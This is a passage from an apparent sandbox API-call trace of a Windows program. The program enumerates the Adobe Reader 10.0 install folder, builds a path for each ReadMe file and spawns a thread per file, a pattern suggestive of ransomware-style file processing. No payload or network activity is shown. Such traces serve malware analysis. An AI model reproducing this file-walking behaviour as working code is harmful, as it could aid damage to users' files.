(x86)\\Adobe\\Reader 10.0\\" [0048.404] wcscat (in: _Dest=0x419388, _Source="Lisezmoi.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" [0048.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x419388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628 [0048.406] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Llegiu-me.htm", cAlternateFileName="LLEGIU~1.HTM")) returned 1 [0048.406] wcscmp (_String1="Llegiu-me.htm", _String2=".") returned 1 [0048.406] wcscmp (_String1="Llegiu-me.htm", _String2="..") returned 1 [0048.406] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x419400 [0048.406] wcscpy (in: _Dest=0x419400, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.406] wcscat (in: _Dest=0x419400, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.406] wcscat (in: _Dest=0x419400, _Source="Llegiu-me.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" [0048.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x419400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0048.407] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x434e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LueMinut.htm", cAlternateFileName="")) returned 1 [0048.407] wcscmp (_String1="LueMinut.htm", _String2=".") returned 1 [0048.407] wcscmp (_String1="LueMinut.htm", _String2="..") returned 1 [0048.407] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x5e45da0 [0048.407] wcscpy (in: _Dest=0x5e45da0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.407] wcscat (in: _Dest=0x5e45da0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.407] wcscat (in: _Dest=0x5e45da0, _Source="LueMinut.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" [0048.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e45da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0048.408] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader", cAlternateFileName="")) returned 1 [0048.408] wcscmp (_String1="Reader", _String2=".") returned 1 [0048.408] wcscmp (_String1="Reader", _String2="..") returned 1 [0048.408] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d118 [0048.408] wcscpy (in: _Dest=0x48d118, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.408] wcscat (in: _Dest=0x48d118, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.408] wcscat (in: _Dest=0x48d118, _Source="Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0048.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x48d118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c [0048.409] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4176, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe.htm", cAlternateFileName="")) returned 1 [0048.409] wcscmp (_String1="ReadMe.htm", _String2=".") returned 1 [0048.409] wcscmp (_String1="ReadMe.htm", _String2="..") returned 1 [0048.409] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x4215e8 [0048.409] wcscpy (in: _Dest=0x4215e8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.409] wcscat (in: _Dest=0x4215e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.409] wcscat (in: _Dest=0x4215e8, _Source="ReadMe.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" [0048.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4215e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618 [0048.411] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3f71, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeCS.htm", cAlternateFileName="")) returned 1 [0048.411] wcscmp (_String1="ReadMeCS.htm", _String2=".") returned 1 [0048.411] wcscmp (_String1="ReadMeCS.htm", _String2="..") returned 1 [0048.411] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x5e45d28 [0048.411] wcscpy (in: _Dest=0x5e45d28, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.411] wcscat (in: _Dest=0x5e45d28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.411] wcscat (in: _Dest=0x5e45d28, _Source="ReadMeCS.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" [0048.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e45d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614 [0048.412] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeCT.htm", cAlternateFileName="")) returned 1 [0048.412] wcscmp (_String1="ReadMeCT.htm", _String2=".") returned 1 [0048.412] wcscmp (_String1="ReadMeCT.htm", _String2="..") returned 1 [0048.413] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x5e45cb0 [0048.413] wcscpy (in: _Dest=0x5e45cb0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.413] wcscat (in: _Dest=0x5e45cb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.413] wcscat (in: _Dest=0x5e45cb0, _Source="ReadMeCT.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" [0048.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e45cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610 [0048.414] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80815880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4623, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeCZE.htm", cAlternateFileName="REE3F7~1.HTM")) returned 1 [0048.414] wcscmp (_String1="ReadMeCZE.htm", _String2=".") returned 1 [0048.414] wcscmp (_String1="ReadMeCZE.htm", _String2="..") returned 1 [0048.414] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5e45c38 [0048.414] wcscpy (in: _Dest=0x5e45c38, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.414] wcscat (in: _Dest=0x5e45c38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.414] wcscat (in: _Dest=0x5e45c38, _Source="ReadMeCZE.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" [0048.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e45c38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c [0048.415] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80861b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeHRV.htm", cAlternateFileName="RE2D2E~1.HTM")) returned 1 [0048.415] wcscmp (_String1="ReadMeHRV.htm", _String2=".") returned 1 [0048.415] wcscmp (_String1="ReadMeHRV.htm", _String2="..") returned 1 [0048.415] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5e45bc0 [0048.415] wcscpy (in: _Dest=0x5e45bc0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.415] wcscat (in: _Dest=0x5e45bc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.415] wcscat (in: _Dest=0x5e45bc0, _Source="ReadMeHRV.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" [0048.415] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e45bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608 [0048.416] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4274, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeHUN.htm", cAlternateFileName="RE50AF~1.HTM")) returned 1 [0048.416] wcscmp (_String1="ReadMeHUN.htm", _String2=".") returned 1 [0048.416] wcscmp (_String1="ReadMeHUN.htm", _String2="..") returned 1 [0048.416] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5e45b48 [0048.417] wcscpy (in: _Dest=0x5e45b48, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.417] wcscat (in: _Dest=0x5e45b48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.417] wcscat (in: _Dest=0x5e45b48, _Source="ReadMeHUN.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" [0048.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e45b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604 [0048.418] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeJ.htm", cAlternateFileName="")) returned 1 [0048.418] wcscmp (_String1="ReadMeJ.htm", _String2=".") returned 1 [0048.418] wcscmp (_String1="ReadMeJ.htm", _String2="..") returned 1 [0048.418] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x5e45ad0 [0048.418] wcscpy (in: _Dest=0x5e45ad0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.418] wcscat (in: _Dest=0x5e45ad0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.418] wcscat (in: _Dest=0x5e45ad0, _Source="ReadMeJ.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" [0048.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e45ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600 [0048.419] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeK.htm", cAlternateFileName="")) returned 1 [0048.419] wcscmp (_String1="ReadMeK.htm", _String2=".") returned 1 [0048.419] wcscmp (_String1="ReadMeK.htm", _String2="..") returned 1 [0048.419] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x5e45a58 [0048.419] wcscpy (in: _Dest=0x5e45a58, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.419] wcscat (in: _Dest=0x5e45a58, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.419] wcscat (in: _Dest=0x5e45a58, _Source="ReadMeK.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" [0048.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e45a58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc [0048.421] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4444, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMePOL.htm", cAlternateFileName="RECE99~1.HTM")) returned 1 [0048.421] wcscmp (_String1="ReadMePOL.htm", _String2=".") returned 1 [0048.421] wcscmp (_String1="ReadMePOL.htm", _String2="..") returned 1 [0048.421] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5e459e0 [0048.421] wcscpy (in: _Dest=0x5e459e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.421] wcscat (in: _Dest=0x5e459e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.421] wcscat (in: _Dest=0x5e459e0, _Source="ReadMePOL.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" [0048.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e459e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8 [0048.422] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4318, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeRUM.htm", cAlternateFileName="README~4.HTM")) returned 1 [0048.422] wcscmp (_String1="ReadMeRUM.htm", _String2=".") returned 1 [0048.422] wcscmp (_String1="ReadMeRUM.htm", _String2="..") returned 1 [0048.422] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5e45968 [0048.422] wcscpy (in: _Dest=0x5e45968, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.422] wcscat (in: _Dest=0x5e45968, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.422] wcscat (in: _Dest=0x5e45968, _Source="ReadMeRUM.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" [0048.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e45968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4 [0048.423] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4872, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeRUS.htm", cAlternateFileName="README~3.HTM")) returned 1 [0048.423] wcscmp (_String1="ReadMeRUS.htm", _String2=".") returned 1 [0048.423] wcscmp (_String1="ReadMeRUS.htm", _String2="..") returned 1 [0048.423] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5e458f0 [0048.423] wcscpy (in: _Dest=0x5e458f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.423] wcscat (in: _Dest=0x5e458f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.423] wcscat (in: _Dest=0x5e458f0, _Source="ReadMeRUS.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" [0048.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e458f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0048.425] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeSKY.htm", cAlternateFileName="README~2.HTM")) returned 1 [0048.425] wcscmp (_String1="ReadMeSKY.htm", _String2=".") returned 1 [0048.425] wcscmp (_String1="ReadMeSKY.htm", _String2="..") returned 1 [0048.425] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5e45878 [0048.425] wcscpy (in: _Dest=0x5e45878, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.425] wcscat (in: _Dest=0x5e45878, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.425] wcscat (in: _Dest=0x5e45878, _Source="ReadMeSKY.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" [0048.425] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e45878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec [0048.426] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4995, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeUKR.htm", cAlternateFileName="README~1.HTM")) returned 1 [0048.426] wcscmp (_String1="ReadMeUKR.htm", _String2=".") returned 1 [0048.426] wcscmp (_String1="ReadMeUKR.htm", _String2="..") returned 1 [0048.426] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5e45f08 [0048.426] wcscpy (in: _Dest=0x5e45f08, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.426] wcscat (in: _Dest=0x5e45f08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.427] wcscat (in: _Dest=0x5e45f08, _Source="ReadMeUKR.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" [0048.427] CreateThread (in: 